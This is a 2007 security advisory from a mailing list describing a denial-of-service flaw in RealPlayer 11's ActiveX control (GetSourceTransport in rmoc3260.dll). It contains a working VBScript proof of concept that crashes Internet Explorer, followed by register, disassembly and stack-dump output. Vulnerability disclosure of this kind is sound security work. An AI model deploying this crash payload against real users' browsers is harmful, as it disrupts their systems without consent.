DOS in Realplayer 11 ActiveX on Win Vista and Win XP SP2 Nov 29 2007 11:34PM
thesinoda hotmail com
+-----------------------------------------------------------------.

Affected : Realplayer 11 ActiveX on Win Vista and Win XP SP2 :

Type : DOS Attack :

Date : 28-11-2007 :

Author : Adonis, Abed :

Link : http://www.safehack.com/Advisory/realpdos.txt :

+-----------------------------------------------------------------.

:

+-------------. :

Brief History \ :

+---------------`-------------------------------------------------.

GetSourceTransport() fails to handle exceptional conditions, which:

leads to a DoS (Denial of Service) attack. :

:

GetSourceTransport() is found in rmoc3260.dll which is installed :

with RealPlayer 11. :

:

Note: This ActiveX can be loaded by IE or any other browser. :

:

Successful exploitation will lead to a remote crash in IE 6/7. :

:

+-----------. :

The Problem \ :

+-------------`---------------------------------------------------.

RealPlayer 11 ActiveX DoS Proof-of-Concept :

:

:

-:PoC:- :

1- Copy and past the following code into filepoc.wsf :

2- Run it by double clicking on it :

---------------------------------------------------snip-----------:

<?XML version='1.0' standalone='yes' ?>

<package><job id='DoneInVBS' debug='false' error='true'>

<object classid='clsid:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA' id='target' />

<script language='vbscript'>

targetFile = "C:\Windows\system32\rmoc3260.dll"

prototype = "Function GetSourceTransport ( ByVal nSourceNum As Integer ) As String"

memberName = "GetSourceTransport"

progid = "RealAudioObjects.RealAudio"

argCount = 1

arg1=32767

target.GetSourceTransport arg1

</script></job></package>

---------------------------------------------------snip-----------:

Registers:

--------------------------------------------------

EIP 637F4A02 -> 00000000

EAX 0022EC44 -> 00000000

EBX 663CCB38 -> 663B7400 -> Uni: t;ft;f

ECX 0022EC44 -> 00000000

EDX 01536388 -> 638416B8

EDI 00000000

ESI 00000000

EBP 0022EC68 -> 0022EC78

ESP 0022EC3C -> 00000000

Block Disassembly:

--------------------------------------------------

637F49F2 JE SHORT 637F49F8

637F49F4 MOV ESI,EAX

637F49F6 JMP SHORT 637F49FA

637F49F8 XOR ESI,ESI

637F49FA LEA ECX,[EBP-24]

637F49FD CALL 6381C1F0

637F4A02 MOV EDX,[ESI] <--- CRASH

637F4A04 LEA EAX,[EBP-4]

637F4A07 PUSH EAX

637F4A08 PUSH 638427D8

637F4A0D PUSH ESI

637F4A0E CALL [EDX]

637F4A10 MOV EAX,[EBP+8]

637F4A13 SUB EAX,46

637F4A16 JE 637F4B28

Stack Dump:

--------------------------------------------------

22EC3C 00 00 00 00 F4 EC 22 00 00 00 00 00 F4 EC 22 07 [................]

22EC4C C0 6D 53 01 00 00 00 00 30 ED 22 00 00 00 00 00 [.mS.............]

22EC5C 00 00 00 00 DC 9A 2B 00 00 00 00 00 78 EC 22 00 [................]

22EC6C A8 C7 7F 63 47 00 00 00 FF 7F 00 00 90 EC 22 00 [...cG...........]

22EC7C 8E 48 3B 66 88 63 53 01 47 00 00 00 FF 7F 00 00 [.H.f.cS.G.......]

:

:

Peace to you all:all and Happy New Year full of health and Peace :

+-----------------------------------------------------------------.

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus